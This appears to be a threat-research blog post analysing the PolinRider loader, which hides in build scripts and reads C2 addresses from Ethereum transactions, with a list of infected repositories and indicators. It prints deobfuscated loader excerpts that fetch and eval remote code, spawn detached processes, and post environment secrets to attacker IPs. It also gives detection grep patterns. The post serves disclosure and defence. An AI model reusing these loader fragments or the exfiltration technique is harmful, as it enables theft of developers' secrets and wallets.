PolinRider Switches to Ethereum C2 in 30+ Repositories
On this page
The PolinRider loader family has a new way to find its command and control (C2) servers. It reads Ethereum mainnet and looks for small transactions from an operator wallet. The recipient address of each transaction holds the IP address of a C2 server. SafeDep found two operator wallets that use this method. One wallet has sent a transaction about every 51 minutes since 2026-06-23. The other has sent one about every 3.3 hours since 2026-07-25. SafeDep confirmed 35 GitHub repositories that contain the loader at the tip of the default branch (HEAD) on 2026-09-30. Together they have 7,578 stars and 2,884 forks. The loader runs when a developer builds or starts the project. It then installs a Node.js and Python infostealer that takes environment secrets, browser passwords, cookies, and wallet data.
The investigation started with a pull request against oxc-project/oxc. That pull request added the loader to 20 build and test scripts. The maintainers did not merge it. This post follows the loader from that diff to the live servers, and then out to the other infected repositories.
Key findings
- The loader encodes C2 IP addresses in the
tofield of Ethereum transactions. Two operator wallets use this method:0x33ff3eda…9891and0xa322E5f3…Ef1a. - SafeDep confirmed 35 infected repositories. SafeDep decoded every file statically and linked each one to a wallet or Tron address. All 35 still carried the loader at HEAD on 2026-09-30.
- The wallet histories are public. They show 11 C2 servers across both wallets. Eight of them are on one hosting provider, AS149440 Evoxt.
- One infection writes two loaders into the same project. One loader uses Ethereum, and the other uses a Tron address pair that SafeDep did not find in public reports.
- Two C2 servers,
198.105.127[.]210and166.88.134[.]62, also appear in the earlier SafeDepastro.config.mjsand @joyfill investigations. - The OpenSSF malicious-packages database has 70 npm and PyPI records that contain the second wallet. SafeDep found no public records for the first wallet.
The first signal
On 2026-09-30, oxc maintainer Boshen posted a screenshot of a pull request diff on X:
How do you handle these kind of attacks?
Very concerning.

The diff shows dense JavaScript in apps/oxfmt/conformance/download-fixtures.js. The first statement is global.o='5-841-du'. The payload was visible only because of a bot. The pull request branch received an [autofix.ci] apply automated fixes commit (714958e5). The formatter split a one-line payload into 106 lines, and the diff view then showed them.
GitHub has removed the contributor account and its pull requests. The commits stay reachable in the oxc repository network by SHA. The commit that adds the loader is 41ab07a8.
The oxc commit
The GitHub API returns this metadata. SafeDep removed the two account names.
// GET /repos/oxc-project/oxc/commits/41ab07a849c68472779da562d1530cf19f116ccf (fields selected with jq){ "author": { "name": "<oxc maintainer>", "date": "2026-07-16T04:26:05Z" }, "committer": { "name": "<contributor account>", "date": "2026-09-25T07:24:44Z" }, "msg": "test(benchmark): wire parser ast_counts into the semantic bench ...", "verification": "unsigned"}The author field uses the name and email of an oxc maintainer. The author date is ten weeks older than the commit date. The message describes a real benchmark change in tasks/benchmark/benches/semantic.rs. The other 20 changed files carry the payload. The pull request opened on 2026-09-14, and the commit date is 2026-09-25. Someone rewrote the branch after it opened. Git lets the person who makes a commit set any author name and date, so the author line alone proves nothing.
Each of the 20 files gets two edits. The first edit gives ES modules a require function. The second edit puts the payload on the last line, after 2,000 space characters.
// apps/oxfmt/conformance/download-fixtures.js @ 41ab07a8 // oxlint-disable no-console, no-await-in-loop
import { createRequire } from 'module';const require = createRequire(import.meta.url); import { exec } from "node:child_process";@@ -112,4 +114,4 @@ await Promise.all( } }),);); [2,000 spaces] global.o='5-841-du';var _$_fed0=(function(n,p){var z=n.length; ...The added import uses single quotes, but the oxc code uses double quotes. TypeScript files carry the same JavaScript in Base64 inside eval("global.o='5-841-du';"+atob('...')). The attacker picked scripts that developers and CI jobs run often: build scripts, package patch scripts, code generation, conformance runners, a benchmark, and two test fixtures.
Stage 0 and stage 1: the loader prepares the process
SafeDep decoded every stage with Python scripts that copy the obfuscator math. The loader starts with a string table called _$_fed0. A shuffle function with seed 1019557 turns it into these values:
// _$_fed0 table, decoded0x0 'undefined' 0x2 'console' 0x3..0xf 'log' 'info' 'warn' 'error' 'debug' 'trace' 'dir' ...0x11 'r' 0x13 'm' 0x14 '___dirname' 0x15 '___filename'The loader replaces every console method with an empty function, so later stages print nothing. It stores require in global.r, module in global.m, and the script path in global.___dirname and global.___filename. A second shuffle function (seed 3369804) produces the word constructor. The loader uses it to reach Function. It then builds a dictionary decoder that expands a 3.7 KB blob into stage 2.
Stage 2: reading the C2 address from Ethereum
Stage 2 is 6.3 KB of JavaScript. The full deobfuscated source is at the end of this post. It first checks a guard. If global._p_t is less than 30 seconds old, it stops. This prevents a second run when two infected scripts load in the same process.
The loader sends remote procedure calls (RPC) in JSON format to three public Ethereum endpoints in order:
// Stage 2 @ 41ab07a8 (string table resolved)var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');The first host name ends in 1, so that request always fails. The loader reads the current block number, rounds it down to a multiple of 256, and adds 3. It reads that block and looks for a transaction from a sender that contains a fixed string:
// Stage 2 @ 41ab07a8 (string table resolved)var r = '33ff3edaf55a8e03dcbc7cb40d498a49';// ...if (__jso_nested_loop_3_o['from']['includes'](r)) { return __jso_nested_loop_3_o['to'];}If the block has no match, the loader moves back by 256 blocks, then 512, then 1,024, up to 212 × 256 blocks. An old transaction still works, so the operator does not need to post in every window.
The loader returns the recipient address. The function h turns part of that address into IP:port:
// Stage 2 @ 41ab07a8 (string table resolved)function h(t, n) { return ( t['substring'](n, n + 8) ['match'](/.{2}/g) ['map'](function (t) { return parseInt(t, 16); }) ['join']('.') + ':' + parseInt(t['substring'](n + 8, n + 12), 16) );}h(to, 2) reads 8 hex characters as an IPv4 address and the next 4 as a port. h(to, 14) reads a second pair. SafeDep ran the same lookup in Python against a public RPC endpoint:
// resolve_c2.py output, 2026-09-30{ "block": 26090499, "hash": "0x4af226961661ace5eec6afbf469f8acc26721fdcc3c2c167e2734f003177c4de", "from": "0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891", "to": "0xc6697fd201bb2d89c685005000ff68ce430f572a", "input": "0x", "value": "0x1f4"}C2 #1 198.105.127.210:443 C2 #2 45.137.198.133:80You can check the decode by hand. c6 69 7f d2 is 198.105.127.210, and 01bb is 443. 2d 89 c6 85 is 45.137.198.133, and 0050 is 80. Block 26090499 modulo 256 is 3.
With the two addresses, the loader gets stage 3:
// Stage 2 @ 41ab07a8 (string table resolved, excerpt)var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');__jso_block_param_6_b('node', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on']( 'error', function (__jso_block_param_8_t) {});eval(__jso_block_param_3_g);var __jso_block_param_2__ = u('os');if ( __jso_block_param_2__['platform']() === 'linux' && __jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')) { __jso_block_param_6_b('node.exe', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on']( 'error', function (__jso_block_param_8_t) {} );}The /boot request carries the header X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. The loader runs the response with eval. It also starts a detached node -e process with stdio: 'ignore' and windowsHide: true, which continues after the build script ends. On Windows Subsystem for Linux 2 (WSL2), it starts node.exe too, which moves the infection from the Linux guest to the Windows host. The loader then gets /0/boot from the second server in the same way.
The first wallet is a public log
The Ethereum method has a cost for the operator. The chain keeps a record of every C2 change. The wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent 2,895 transactions between 2026-06-23 and 2026-09-30. The median gap is 256 blocks, about 51 minutes. The most common block number modulo 256 is 3, which is the first block the loader reads. The values are 0, 150, or 500 wei.
The wallet used six recipient addresses:
| Active (UTC) | C2 #1 (/boot) | C2 #2 (/0/boot) | Hosting |
|---|---|---|---|
| 2026-06-23 to 2026-06-24 | 23.27.20[.]187:80 | 23.27.20[.]187:443 | AS149440 Evoxt |
| 2026-06-24 to 2026-09-03 | 23.27.20[.]187:443 | 23.27.20[.]187:80 | AS149440 Evoxt |
| 2026-09-03 to 2026-09-07 | 181.214.149[.]147:443 | 181.214.149[.]147:80 | AS397423 Tier.Net |
| 2026-09-07 to 2026-09-25 | 181.214.149[.]148:443 | 181.214.149[.]148:80 | AS397423 Tier.Net |
| 2026-09-25 to 2026-09-28 | 198.105.127[.]210:443 | 198.105.127[.]210:80 | AS149440 Evoxt |
| 2026-09-28 to 2026-09-30 | 198.105.127[.]210:443 | 45.137.198[.]133:80 | AS212477 RoyaleHosting |
The wallet 0xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59 sent 0.01 ether to the operator wallet 93 minutes before the first heartbeat. The first heartbeat is three months older than the oxc commit, so the oxc pull request was not the first use of this wallet.
Stages 3 to 5: from boot script to Python stealer
The two C2 servers return different boot scripts with the same obfuscator. 198.105.127[.]210:443/boot gets /init and runs a JavaScript field from the JSON response. 45.137.198[.]133/0/boot gets /0/body and decodes it with a fixed exclusive OR (XOR) key:
// /0/boot response from 45.137.198.133, decoded (excerpt)var _V = _global['i'] || _global['o'] || _global['_V'] || '0';var _require = _global['r'];_global['_H'] = _global['_U'] = 'http://45.137.198.133';await eval( (function (input) { var k = 'YU7m{rE/>|==b>#~';The first line reads global.i, then global.o, then global._V. Older PolinRider samples set global._V or global['!']. One server can serve old and new infections.
The /0/body response is 54 KB of Node.js code with RC4 string encryption. SafeDep ran it under the Node.js permission model with a logging stub for require, blocked sockets, and fake host values:
// sandbox trace of /0/body (host name and user are fake values)[call] child_process.exec( [ 'npm --prefix "/home/victim/.node_modules" install axios socket.io-client', { stdio: 'inherit', windowsHide: true }, '<fn>' ] )[require] axios[call] axios.post( [ 'http://45.137.198.133/snv', URLSearchParams { 'id' => 'victim-host$victim', 'user' => 'victim', 'body' => '{"HOME":"/nonexistent","OUT":"trace_body.hooked.js.log"}' } ] )[call] fs.existsSync( [ '/home/victim/.local/bin/py' ] )[call] child_process.spawn( [ '/home/victim/.local/bin/py', [ '-V' ], undefined ] )The script installs axios and socket.io-client into a private npm prefix, ~/.node_modules. It posts the complete process.env to /snv. On a developer computer, that includes cloud keys and registry tokens in the shell. Its string table has a list of host and user names for CI runners and sandboxes, such as buildkitsandbox, github-runne, codespace, devcontainer, vercel-sandb, and assemblyline. The script marks those hosts as Blocked. It then installs Python (on Windows from python.7z and 7zr.exe) and pip from bootstrap.pypa.io. It starts a detached Python stager that gets /$/1 and runs it with exec.
The /$/1 response is 83 KB of Python after one reversed Base64 and zlib decode. It exits if the stager did not set a value:
# /$/1 response, decoded (lines 127 to 129)B9=260924Aj=BM(urllib.request.Request,'_target',E)if not Aj:G.exit()If a sandbox runs only this file, the file does nothing. The stealer takes Chromium and Firefox passwords and cookies, ~/.git-credentials, and data for 153 browser extension IDs. The IDs include MetaMask, Phantom, Coinbase Wallet, 1Password, and Bitwarden. On Linux, it reports Blocked (BOT) and deletes its work folder if the host has no saved passwords, no extensions, and no Firefox profile. It uploads a ZIP file to {_target}/u/f. If that fails, it sends the file with the Telegram Bot API. The C2 gives the Telegram token at run time, so the token is not in the sample.
Hunting for other infected repositories
The oxc marker 5-841-du suggested a counter. SafeDep searched the Sourcegraph public code index for the loader markers (global.o=, global.i="A, global['_V'], global['!'], and the _$_xxxx=(function( table pattern), including forks and archived repositories.
SafeDep downloaded each file at the indexed commit and decoded it with the same Python scripts. A repository is on the list only if the decoded loader contains one of the operator wallets or Tron addresses. Security tools and research repositories that store the markers as test data are not on the list.
The result is 35 confirmed repositories in three groups:
| Resolver | Repositories | Heartbeat | First transaction | Obfuscation |
|---|---|---|---|---|
Ethereum wallet 0x33ff3eda…9891 | 13 (+ oxc pull request) | every 256 blocks | 2026-06-23 | _$_xxxx shuffle tables |
Ethereum wallet 0xa322E5f3…Ef1a | 18 | every 1,000 blocks | 2026-07-25 | obfuscator.io or plain JavaScript |
Tron TCqf6Zka… (paired file) | 4 | n/a | n/a | _$_xxxx shuffle tables |
All 35 repositories still carried the loader at HEAD on 2026-09-30. The commit dates in them go back as far as 2017. The last push dates are between 2026-07-07 and 2026-09-28, after the wallets started. The attacker back-dates the commits in the same way as the oxc commit.
The infected projects include templates, admin dashboards, starter kits, and tutorials. Other developers fork and copy these projects. Four Creative Tim dashboard templates carry the loader and have 1,773 forks together. The complete list, with a link to one infected file at its commit for each repository, is in the infected repositories table below.
The second Ethereum wallet
The second group uses a different loader with the same idea. The code is plain JavaScript with Unicode escapes, or obfuscator.io output. This excerpt is from postcss.config.js in tailwindadmin/admin@e818e8e7, after SafeDep converted the \u escapes to characters:
// tailwindadmin/admin postcss.config.js @ e818e8e7 (Unicode escapes decoded, excerpt)global.i = 'A10-*23720';global.r = require;typeof module === 'object' && (global.m = module);// ...((B = 1000n), (S = '0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase()), (I = 'https://eth.blockscout.com/api'), (R = [ ...new Set( [ process.env.ETH_RPC_URL, 'https://1rpc.io/eth', 'https://eth.drpc.org', 'https://ethereum-rpc.publicnode.com', 'https://eth-mainnet.public.blastapi.io', ].filter(Boolean) ), ]));// ...const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ''), 'hex'), ip = (b) => b[0] + '.' + b[1] + '.' + b[2] + '.' + b[3], [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];// ...await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);await rl(new URL(`http://${o}:443/0x/ls`), 'y-p_>d$0B&@^1aQk', !0);This loader reads blocks near a multiple of 1,000. If that fails, it searches by transaction count, and then it asks the Blockscout API for the wallet history. The first 8 bytes of the recipient address are two IPv4 addresses. The last 12 bytes are the same in every transaction. They are the ASCII text helloipbot!!:
// latest 0xa322 heartbeat, block 26089999to: 0x5BDAb7Ae 5BDAb7aE 68656C6C6f6970626F742121 91.218.183.174 | 91.218.183.174 | h e l l o i p b o t ! !The loader gets /0x/cls and /0x/ls with a Sec-V header that carries the marker. It sets global._H, _H2, _t_s, and _t_u. These names also occur in the astro.config.mjs and @joyfill samples.
The wallet sent 491 transactions from 2026-07-25. It used six C2 servers, and every server is on AS149440 Evoxt:
| Active (UTC) | C2 |
|---|---|
| 2026-07-25 to 2026-08-22 | 166.88.134[.]62 |
| 2026-08-22 to 2026-08-27 | 23.27.13[.]135 |
| 2026-08-28 to 2026-09-03 | 166.88.73[.]46 |
| 2026-09-04 to 2026-09-17 | 193.247.144[.]38 |
| 2026-09-17 to 2026-09-28 | 166.88.134[.]75 |
| 2026-09-28 to 2026-09-30 | 91.218.183[.]174 |
The first server, 166.88.134[.]62, is the server that the @joyfill stage 2 selects for markers that start with A. The markers in this group also start with A.
This wallet also appears outside GitHub repositories. The Open Source Security Foundation (OpenSSF) malicious-packages database has 70 records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path. OpenSSF published these records between 2026-06-24 and 2026-09-30. Most packages are look-alike Tailwind CSS and PostCSS plugins. A few packages use scopes that look like real projects.
One infection writes two loaders
Six repositories carry a Tron loader with a marker that ends in -1. In two of them, the search index also holds an Ethereum loader with the same number. For example, one file sets global.o='1-35' and uses the 0x33ff wallet. Another file in the same repository sets global.i='1-35-1' and uses Tron. The Tron file reads TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF with the fallback TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH, and two Aptos accounts. SafeDep did not find these addresses in public reports. In the other four repositories, the search index holds only the Tron file.
The markers also carry over between generations. The four Creative Tim templates use global.i="A9-0337-4". Two repositories of the admin-dashboards organization carry an older Tron-era file with global['!']='9-0337-4'. Three repositories of one owner all use A8-3465. SafeDep infers that the number identifies an infected developer or organization, not a build of the malware. The oxc marker 5-841-du and the markers 5-1169-du and 5-1460-du in other repositories fit a counter.
This matches how PolinRider spreads. An infected developer computer adds the loader to the projects of that developer and pushes them with a faked date. The astro.config.mjs investigation found the push tool name, temp_auto_push.bat, in a .gitignore file. The oxc case is different in one way. The attacker did not own oxc, so the loader arrived through a pull request.
Links to earlier SafeDep investigations
| Property | astro.config.mjs (2026-05) | @joyfill (2026-07) | This campaign (2026-06 to 2026-09) |
|---|---|---|---|
C2 198.105.127[.]210 | Yes | Yes, :443 | Yes, :443, wallet 0x33ff |
C2 166.88.134[.]62 | No | Yes, A markers | Yes, wallet 0xa322, A markers |
| Hosting | AS149440 Evoxt | AS149440 Evoxt | AS149440 Evoxt for 8 of 11 servers |
global._p_t 30 second guard | Yes | Yes | Yes |
global.r, global.m, ___dirname | Yes | Yes | Yes |
_H, _H2, _t_s, _t_u variables | _H, _H2 | _t_s, _t_u | All four |
Detached node -e fallback | Yes | Yes | Yes |
| Payload after long whitespace | Yes | No (npm bundle) | Yes |
| Chain | Tron, BNB Smart Chain, Aptos | Tron, BNB Smart Chain, Aptos | Ethereum, plus a new Tron pair |
The @joyfill stage 3 was a 77 KB LZ-compressed bot client. The /init response from 198.105.127[.]210 has a 74.8 KB LZString field. SafeDep infers that this is the same bot client. The obfuscator renames every identifier, so this is not confirmed yet.
Attacker techniques
| Technique | Evidence |
|---|---|
| Hide code with whitespace (T1027) | Payload after 2,000 spaces on the last line of a file |
| Forge commit metadata (T1036) | Maintainer name in the author field, commit dates back to 2017 |
| Run through developer tools (T1059.007) | Build, patch, bundler, PostCSS, Tailwind, Vite, and Metro scripts |
| Dead drop resolver on a public blockchain (T1102.001) | C2 IP address in the to field of Ethereum transactions |
| Rotate C2 without code changes | 11 servers across two wallets, one transaction per change |
| Detached processes (T1564) | node -e with detached: true, setsid, CREATE_NO_WINDOW |
| Move from WSL2 to Windows | Starts node.exe when the kernel release has microsoft-standard-WSL2 |
| Evade sandboxes (T1497) | Host and user name list, Blocked (BOT) check, _target check |
| Collect browser credentials (T1555.003) | Chromium and Firefox stores, 153 extension IDs |
| Collect environment secrets (T1552) | Full process.env sent to /snv |
| Exfiltrate to a web service (T1567) | Upload to /u/f, fallback to Telegram sendDocument |
Detection and response
If you cloned or forked a project in the table below and ran a build, a development server, or a test, treat the computer as compromised. Rotate every secret that was in the shell environment. Rotate browser-saved passwords and session cookies. Move funds out of any wallet extension on that computer. Look for ~/.node_modules, ~/.local/bin/py, /tmp/.pip, and tmp7A863DD1.tmp, and for detached node or python processes with -e or -c arguments.
If you own one of these repositories, remove the payload from every file in the table and from other JavaScript and TypeScript files. Then check the computers that pushed to the repository. The loader comes from an infected developer computer, and a clean repository gets infected again if that computer stays infected.
For network detection, look for a node process that calls a public Ethereum RPC endpoint or the Blockscout API. Then look for a connection from the same process to a raw IP address on port 80 or 443. The requests carry an X header with a 32-character hex value, or a Sec-V header with a marker.
For code review and scanning, these checks find both loaders:
# Lines longer than 1,000 characters in JavaScript or TypeScript filesgrep -rnE '.{1000,}' --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' .
# Markers of this loader familygrep -rnE "global\.o='|global\.i=\"A|_\\\$_[0-9a-f]{4}=\(function|createRequire\(import\.meta\.url\)" .
# Commits where the author and the committer are differentgit log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3'The second loader often hides in files named fa-solid-400.woff2 under public/fonts/. That file is JavaScript, not a font. Check any font file that file reports as text.
Infected repositories
All 35 repositories below carried the loader at HEAD on 2026-09-30. Each link points to one infected file at the commit that the search index held. A link can return 404 later if the owner removes the history.
| Row | Repository | Resolver | Marker | Infected files in index | Stars | Forks | Last push | Evidence (file at commit) |
|---|---|---|---|---|---|---|---|---|
| 1 | technext/100-template-list | Ethereum wallet 0x33ff3eda | 5-1460-du | 5 | 208 | 168 | 2026-09-21 | https://github.com/technext/100-template-list/blob/9c70c9b1409ec41f12929d1d9e6faed255663148/64%20gentelella/vendors/autosize/build.js |
| 2 | aboozaid/react-native-facerecognition | Ethereum wallet 0x33ff3eda | 5-2-228-du | 1 | 217 | 76 | 2026-07-15 | https://github.com/aboozaid/react-native-facerecognition/blob/3f49c10affd186eff4160993999940bf3d728bea/example/metro.config.js |
| 3 | efstathiosntonas/react-native-style-libraries-benchmark | Ethereum wallet 0x33ff3eda | 5-2-272-du | 1 | 481 | 34 | 2026-07-12 | https://github.com/efstathiosntonas/react-native-style-libraries-benchmark/blob/5d8216b8bcac3c42c71fad75a44426f59809ef35/tailwind.config.js |
| 4 | SFARPak/AliFullStack | Ethereum wallet 0x33ff3eda | 5-1169-du | 17 | 82 | 21 | 2026-09-07 | https://github.com/SFARPak/AliFullStack/blob/c34f5cfea36db008b7c3e29c0d451b60758a30f4/Roo-Code/src/esbuild.mjs |
| 5 | aliezzahn/event-timeline-roadmap | Ethereum wallet 0x33ff3eda | 5-4-44-du | 1 | 90 | 20 | 2026-07-20 | https://github.com/aliezzahn/event-timeline-roadmap/blob/ac6232d87ed046450eb04071fda5f150c899a28a/postcss.config.mjs |
| 6 | gumlau/nextjs-seo-blog-starter | Ethereum wallet 0x33ff3eda | 5-2-314-du | 1 | 54 | 6 | 2026-07-14 | https://github.com/gumlau/nextjs-seo-blog-starter/blob/a76b91d8b06b657fb0cf35ba7568c1354b817942/next.config.ts |
| 7 | flecs-hub/flecs-polyglot | Ethereum wallet 0x33ff3eda | 5-2-457-du | 1 | 62 | 4 | 2026-07-25 | https://github.com/flecs-hub/flecs-polyglot/blob/a200d50cde253dd87f22942ee707f7d66a1a5c3e/ts/examples/basic/src/index.ts |
| 8 | TheSentora/Crypto-Web3-Copilot-App | Ethereum wallet 0x33ff3eda | 1-23 | 2 | 369 | 2 | 2026-09-15 | https://github.com/TheSentora/Crypto-Web3-Copilot-App/blob/5869c7c4ed809e939ee825308c93ae7dc8ac67a5/copilot-app/Ai/Ai/next.config.js |
| 9 | subramanianv/CertificateVerification | Ethereum wallet 0x33ff3eda | 8-11356 | 1 | 379 | 2 | 2026-07-10 | https://github.com/subramanianv/CertificateVerification/blob/a4d2f786caafed56bbe7776db5ca3b7f6366c601/webpack.config.js |
| 10 | morganjweaver/liquibet | Ethereum wallet 0x33ff3eda | 8-10173 | 1 | 237 | 1 | 2026-07-07 | https://github.com/morganjweaver/liquibet/blob/a789efb022f35b5d7f0fb6159cdabf4ddc6f7c71/frontend/postcss.config.js |
| 11 | Dhruvone8/iChat | Ethereum wallet 0x33ff3eda | 1-35 | 1 | 370 | 0 | 2026-07-15 | https://github.com/Dhruvone8/iChat/blob/2dcef82f361c07c2e13c14053e6cdf40b34684e7/backend/server.js |
| 12 | Web3-Builders-Alliance/convergence | Ethereum wallet 0x33ff3eda | 8-10197 | 1 | 218 | 0 | 2026-07-07 | https://github.com/Web3-Builders-Alliance/convergence/blob/e2e92e2a4df749258905dc67920fb26be8a2cd2c/app/postcss.config.js |
| 13 | Lynxverse/lynxverse.io | Ethereum wallet 0x33ff3eda | 8-10702 | 2 | 377 | 0 | 2026-07-09 | https://github.com/Lynxverse/lynxverse.io/blob/d29d777d094f6b0c94d979653bdecbb7efcfadf2/postcss.config.js |
| 14 | creativetimofficial/black-dashboard-django | Ethereum wallet 0xa322E5f3 | A9-0337-4 | 1 | 232 | 531 | 2026-09-10 | https://github.com/creativetimofficial/black-dashboard-django/blob/f55a30c353e1d7b06ff169cd7dd2595a2962b736/postcss.config.js |
| 15 | creativetimofficial/argon-dashboard-django | Ethereum wallet 0xa322E5f3 | A9-0337-4 | 1 | 176 | 513 | 2026-09-10 | https://github.com/creativetimofficial/argon-dashboard-django/blob/f3c0a8f8b7f3b2051c9366d044d4054cca643560/apps/static/assets/vendor/bootstrap-datetimepicker.js |
| 16 | creativetimofficial/material-dashboard-django | Ethereum wallet 0xa322E5f3 | A9-0337-4 | 1 | 99 | 418 | 2026-09-10 | https://github.com/creativetimofficial/material-dashboard-django/blob/fab45b237af2a97f40d980a4a36febd96a382505/postcss.config.js |
| 17 | creativetimofficial/argon-dashboard-flask | Ethereum wallet 0xa322E5f3 | A9-0337-4 | 1 | 79 | 311 | 2026-09-10 | https://github.com/creativetimofficial/argon-dashboard-flask/blob/0ca599415baae8a2653e548eceb7c96255100485/apps/static/assets/vendor/bootstrap-datetimepicker.js |
| 18 | CommunityPro/portfolio-html | Ethereum wallet 0xa322E5f3 | A8-*#new | 1 | 677 | 292 | 2026-08-22 | https://github.com/CommunityPro/portfolio-html/blob/724291e11152425565ea77e3a6041f7a33eb7119/public/fonts/fa-solid-400.woff2 |
| 19 | Mshandev/Food-Delivery | Ethereum wallet 0xa322E5f3 | A9-0258-2 | 2 | 218 | 212 | 2026-09-09 | https://github.com/Mshandev/Food-Delivery/blob/81e064ef4afbd0c68d9c79a5b878bbae414e6e33/admin/vite.config.js |
| 20 | tailwindadmin/admin | Ethereum wallet 0xa322E5f3 | A10-*23720 | 1 | 478 | 95 | 2026-08-10 | https://github.com/tailwindadmin/admin/blob/e818e8e74aad30a5dedf9f54ab69428011bf67be/postcss.config.js |
| 21 | richardokonicha/parsesig | Ethereum wallet 0xa322E5f3 | A8-*# | 1 | 58 | 45 | 2026-08-01 | https://github.com/richardokonicha/parsesig/blob/e04574879b056cec8b5dc3ec7e92511dcafdafaf/public/fonts/fa-solid-400.woff2 |
| 22 | Iamzaryab/Flutter-Movie-App-with-Clean-Architecture-and-RiverPod-State-Management | Ethereum wallet 0xa322E5f3 | A10-*020 | 1 | 108 | 27 | 2026-08-31 | https://github.com/Iamzaryab/Flutter-Movie-App-with-Clean-Architecture-and-RiverPod-State-Management/blob/6c1c25b5df3c251001c87da2f843d792789cda30/public/fonts/fa-solid-400.woff2 |
| 23 | ZahraShahid/MyRealEstateWebsite | Ethereum wallet 0xa322E5f3 | A9-146-1 | 1 | 119 | 21 | 2026-09-05 | https://github.com/ZahraShahid/MyRealEstateWebsite/blob/cf1dd1f0c02a40cd5e148eed73f6d04d6797fde9/Backend/routes/AboutUs.js |
| 24 | gigabytedevelopers/FireFiles | Ethereum wallet 0xa322E5f3 | A8-ne | 1 | 70 | 18 | 2026-09-04 | https://github.com/gigabytedevelopers/FireFiles/blob/99216df3fbc8a131e7d051f3feb373cc00c54ac6/public/fonts/fa-solid-500.woff2 |
| 25 | umairjameel321/next-auth-mongodb | Ethereum wallet 0xa322E5f3 | A8-3465 | 1 | 116 | 17 | 2026-08-24 | https://github.com/umairjameel321/next-auth-mongodb/blob/794095709f4c945ff7e7e5955fb35a8114d23e10/postcss.config.js |
| 26 | umairjameel321/next14-restapis | Ethereum wallet 0xa322E5f3 | A8-3465 | 1 | 61 | 17 | 2026-08-24 | https://github.com/umairjameel321/next14-restapis/blob/c16c26764204a9bfdbfc6f3fdeb81a12834b0ab4/postcss.config.mjs |
| 27 | mE-uMAr/fastapi-crons | Ethereum wallet 0xa322E5f3 | A10-*020 | 1 | 92 | 14 | 2026-09-28 | https://github.com/mE-uMAr/fastapi-crons/blob/f470028674a07a8ac229071ecf6a3628c537790e/public/fonts/fa-solid-400.woff2 |
| 28 | umairjameel321/authjsv5nextjs | Ethereum wallet 0xa322E5f3 | A8-3465 | 1 | 86 | 8 | 2026-08-24 | https://github.com/umairjameel321/authjsv5nextjs/blob/906ca62e278d708e73e3dd3ba0c26fd88d72b920/postcss.config.mjs |
| 29 | oslabs-beta/projectArtemis | Ethereum wallet 0xa322E5f3 | A8-*# | 1 | 86 | 8 | 2026-08-02 | https://github.com/oslabs-beta/projectArtemis/blob/a4d3e4a686d18fa73f1bf4d92e414f3ee3199bf2/public/fonts/fa-solid-400.woff2 |
| 30 | boostcampwm-2022/android04-BEEP | Ethereum wallet 0xa322E5f3 | A8-*#new | 1 | 80 | 2 | 2026-08-24 | https://github.com/boostcampwm-2022/android04-BEEP/blob/8ce55b1cf74e000d1ada7d2b5b20fcd0fe04a38d/public/fonts/fa-solid-400.woff2 |
| 31 | suleman-the-stammer/zeropark-master | Ethereum wallet 0xa322E5f3 | A10-*3046-20 | 1 | 123 | 0 | 2026-08-29 | https://github.com/suleman-the-stammer/zeropark-master/blob/93e9ccc81d78648123b08399267ec942025e76cc/vite.config.js |
| 32 | echo-riga/Help-Desk-System | Tron TCqf6Zka (paired file) | 1-34-1 | 1 | 370 | 1 | 2026-05-21 | https://github.com/echo-riga/Help-Desk-System/blob/7a5f99638eb224ee5810897a58fc8ea797f91fd8/frontend/vite.config.js |
| 33 | SahilSharan/multimart-react-ecommerce-main | Tron TCqf6Zka (paired file) | 1-36-1 | 1 | 371 | 0 | 2026-05-21 | https://github.com/SahilSharan/multimart-react-ecommerce-main/blob/3ab63f2a9d46df0201889a1a7040560972e38022/src/index.js |
| 34 | Leoneldev532/Free-Ui-game | Tron TCqf6Zka (paired file) | 1-31-1 | 1 | 367 | 0 | 2026-05-20 | https://github.com/Leoneldev532/Free-Ui-game/blob/d531092c2726551a313e2f342ff7bb0d1c740cf5/postcss.config.mjs |
| 35 | devpardo/mannylapidamaker | Tron TCqf6Zka (paired file) | 1-26-1 | 1 | 368 | 0 | 2026-05-16 | https://github.com/devpardo/mannylapidamaker/blob/74939f477789077e9bb33d05c01005704c015ca4/postcss.config.mjs |
Indicators of compromise
| Row | Indicator | Type | Stage | Context |
|---|---|---|---|---|
| 1 | 41ab07a849c68472779da562d1530cf19f116ccf | Git commit | 0 | Commit in the oxc network that injects the loader into 20 files |
| 2 | global.o='5-841-du' | Code marker | 0 | Campaign marker set at the start of the injected loader |
| 3 | _$_fed0 | Code marker | 0 | String table name in the injected loader |
| 4 | 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 | Ethereum address | 2 | Operator wallet. Sends the C2 heartbeat transaction every 256 blocks |
| 5 | 0xc6697fd201BB2d89C685005000FF68cE430F572A | Ethereum address | 2 | Heartbeat recipient from 2026-09-28. Encodes 198.105.127.210:443 and 45.137.198.133:80 |
| 6 | 0xC6697Fd201bBC6697fd2005000FF7FBa91BD7115 | Ethereum address | 2 | Heartbeat recipient 2026-09-25 to 2026-09-28. Encodes 198.105.127.210 |
